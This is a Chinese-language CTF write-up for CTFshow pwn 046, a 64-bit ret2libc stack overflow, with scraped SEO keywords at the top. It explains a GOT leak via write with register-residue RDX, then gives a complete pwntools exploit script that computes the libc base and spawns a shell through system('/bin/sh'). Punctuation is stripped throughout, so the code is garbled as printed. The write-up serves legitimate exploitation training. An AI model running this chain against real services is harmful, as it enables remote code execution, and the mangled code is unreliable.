西安网站建设网站建设织梦猫wordpress
西安网站建设网站建设,织梦猫wordpress,郑州网站推广服务,2023年百度小说风云榜【CTFshow-pwn系列】03_栈溢出【pwn 046】详解#xff1a;Ret2Libc 之 64位动态泄露
本文仅用于技术研究#xff0c;禁止用于非法用途。
Author:枷锁
在上一关#xff08;PWN 045#xff09;中#xff0c;我们攻克了 32 位环境下的 Ret2Libc#xff0c;通过精心构造的栈帧…【CTFshow-pwn系列】03_栈溢出【pwn 046】详解Ret2Libc 之 64位动态泄露本文仅用于技术研究禁止用于非法用途。Author:枷锁在上一关PWN 045中我们攻克了 32 位环境下的 Ret2Libc通过精心构造的栈帧调用了write函数泄露地址。来到PWN 046题目环境切换回了64位。依然没有后门依然需要泄露 Libc。 这就要求我们将 PWN 044 (64位puts泄露) 和 PWN 045 (32位write泄露) 的知识点结合起来利用 64 位 ROP 链通过寄存器传参调用多参数函数write来泄露地址最终 Get Shell。pwn 046 寄存器传参进阶64位 write 函数泄露题目信息与环境侦察题目描述pwn46: Hint: You can use write func to leak addr! O.o?解题过程首先使用checksec检查程序保护情况。Arch:amd64-64-little(64位)RELRO:Partial RELROStack:No canary foundNX:NX enabled(栈不可执行)PIE:No PIE(程序代码段地址固定)侦察分析64位架构参数传递顺序为RDI, RSI, RDX, RCX, R8, R9。No PIEwrite的 PLT 和 GOT 地址固定。ASLRLibc 基址随机需要泄露。第一部分机制详解 —— 64位多参数函数调用1. 目标调用 write(1, write_got, 8)在 64 位下我们要构造如下调用RDI (Arg1)1(stdout)RSI (Arg2)write_got(泄露目标)RDX (Arg3)8(泄露长度64位地址为8字节) (注如果找不到控制 RDX 的 gadget利用read残留的 RDX 值也可以只要足够大)2. 寻找 Gadgets我们需要pop rdi; ret控制参数 1。pop rsi; ...; ret控制参数 2。pop rdx; ret控制参数 3这个通常很难直接找到但在read后rdx通常就是输入长度往往不需要专门设置。第二部分代码审计与漏洞挖掘1. 静态分析 (IDA Pro)Main 函数int __fastcall main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); puts(O.o?); ctfshow(); // [漏洞点] write(0, Hello CTFshow!\n, 0xEu); return 0; }漏洞函数 ctfshowssize_t ctfshow() { // [rsp0h] [rbp-70h] BYREF _BYTE buf[112]; // [漏洞点]read 读取 200 (0xC8) 字节 // 200 112存在栈溢出 return read(0, buf, 0xC8u); }偏移量计算 根据 IDA 注释[rbp-70h]buf距离rbp的偏移是0x70(112 字节)。覆盖返回地址长度 1128(Old RBP) 120 字节。2. 寻找 Gadgets使用ROPgadget或pwntools寻找# pop rdi ; ret pop_rdi 0x400803 # pop rsi ; pop r15 ; ret # 这个 gadget 很常见能同时控制 rsi 和 r15 pop_rsi_r15 0x400801关于 RDX 在ctfshow函数中调用了read(0, buf, 0xC8u)。read函数的第三个参数长度通过RDX传递。所以在read执行时RDX 已经被设置为0xC8(200)。 当read返回时RDX 的值通常不会被清零除非特定的函数序言。在ctfshow返回时我们可以假设 RDX 依然是一个较大的值至少大于 8。 所以我们不需要专门寻找pop rdxgadget直接复用read遗留下来的 RDX 值即可满足write的长度需求。第三部分实战操作与 Payload 构造1. 搜集地址elf ELF(./pwn) write_plt elf.plt[write] write_got elf.got[write] main_addr elf.sym[main]2. Payload 1 (泄露地址)我们需要构造 ROP 链来设置寄存器并调用write。栈布局ROP Chain---------------------- | Padding (a * 120) | ---------------------- | pop_rdi | -- 设置参数 1 ---------------------- | 1 | -- RDI 1 (stdout) ---------------------- | pop_rsi_r15 | -- 设置参数 2 (顺便设置 r15) ---------------------- | write_got | -- RSI write_got (泄露源) ---------------------- | 0 | -- R15 0 (垃圾填充) ---------------------- | write_plt | -- 调用 write (RDX 复用 read 的 0xC8) ---------------------- | main_addr | -- write 结束后重启程序 ----------------------3. Payload 2 (Get Shell)计算出 Libc 基址后调用system(/bin/sh)。栈布局---------------------- | Padding (a * 120) | ---------------------- | pop_rdi | ---------------------- | bin_sh_addr | -- RDI /bin/sh ---------------------- | system_addr | -- 调用 system ----------------------(注如果 system 崩溃尝试在 system 前加一个单纯的 ret gadget)4. 完整 EXP 脚本from pwn import * # 1. 基础配置 context.log_level debug # 开启调试日志 context.arch amd64 # 64位架构 # 2. 建立连接 # 远程打靶时取消注释下面一行并填写对应 IP 和端口 # io remote(pwn.challenge.ctf.show, 28046) io process(./pwn) # 本地测试 elf ELF(./pwn) # 加载 Libc (本地测试用本地 Libc远程需更换为题目提供的 Libc) # 这里的路径是你本地 ldd ./pwn 看到的路径 libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 3. 准备零件 (Gadgets Addresses) # 栈溢出偏移量: buf(112) old_rbp(8) offset 120 # 获取函数地址 write_plt elf.plt[write] write_got elf.got[write] main_addr elf.sym[main] # 寻找 ROP Gadgets rop ROP(elf) # pop rdi ; ret pop_rdi rop.find_gadget([pop rdi, ret])[0] # pop rsi ; pop r15 ; ret pop_rsi_r15 rop.find_gadget([pop rsi, pop r15, ret])[0] # ret (用于栈对齐) ret_addr rop.find_gadget([ret])[0] log.success(fpop_rdi: {hex(pop_rdi)}) log.success(fpop_rsi: {hex(pop_rsi_r15)}) # # Stage 1: 泄露 Libc 基址 # 目标: 调用 write(1, write_got, len) # log.info( Stage 1: Leaking Libc ) # 4. 构造 Payload 1 payload1 flat([ ba * offset, # Padding # --- Chain: write(1, write_got, ...) --- pop_rdi, 1, # RDI 1 (stdout) pop_rsi_r15, write_got, # RSI write_got (泄露该地址的内容) 0, # R15 0 (填充) write_plt, # Call write (RDX 复用 read 遗留的 0xC8) main_addr # 泄露结束后返回 main以便进行第二次溢出 ]) # 5. 发送 Payload 1 io.recvuntil(bO.o?\n) # 等待提示符 io.sendline(payload1) # 发送攻击载荷 # 6. 接收并计算 Libc 地址 # write 输出的是原始地址字节流64位通常有效长度为 6 字节 leak_data io.recv(6) # 如果没有接收到数据说明利用失败 if len(leak_data) 6: log.error(Leak failed! Check gadgets or offset.) # 解包并补齐为 8 字节 write_real_addr u64(leak_data.ljust(8, b\x00)) log.success(fLeaked writegot: {hex(write_real_addr)}) # 计算 Libc 基址 libc_base write_real_addr - libc.sym[write] libc.address libc_base # 更新 pwntools 中 libc 的基址 log.success(fLibc Base: {hex(libc_base)}) # # Stage 2: 获取 Shell # 目标: 调用 system(/bin/sh) # log.info( Stage 2: Getting Shell ) # 获取真实地址 system_addr libc.sym[system] bin_sh_addr next(libc.search(b/bin/sh)) # 7. 构造 Payload 2 payload2 flat([ ba * offset, # Padding # --- Stack Alignment (栈对齐) --- # Ubuntu 18.04 调用 system 时 RSP 需 16 字节对齐 # 如果 Crash尝试 启用 或 注释 下面这行 ret # ret_addr, # --- Chain: system(/bin/sh) --- pop_rdi, bin_sh_addr, # RDI /bin/sh system_addr # Call system ]) # 8. 发送 Payload 2 # 因为返回了 main程序会再次打印提示符必须先接收掉 io.recvuntil(bO.o?\n) io.sendline(payload2) # 9. 获取交互权限 io.interactive()总结PWN 046 的核心逻辑维度32位 write 泄露 (045)64位 write 泄露 (046)传参方式栈传参寄存器传参 (RDI, RSI, RDX)Gadget无需特殊 Gadget需要pop rdi,pop rsiRDX 处理直接压栈4复用read的残留值地址长度4 字节8 字节核心启示 在 64 位 ROP 中如果找不到控制第三个参数RDX的 Gadget不要慌张。利用**寄存器残留Register Residue**是一个非常实用的技巧。因为read函数恰好使用了 RDX 来存储长度这个值在函数返回后往往没有被清除正好被我们用来做write的长度参数。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的 1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。 2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。 3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。 5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。 7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。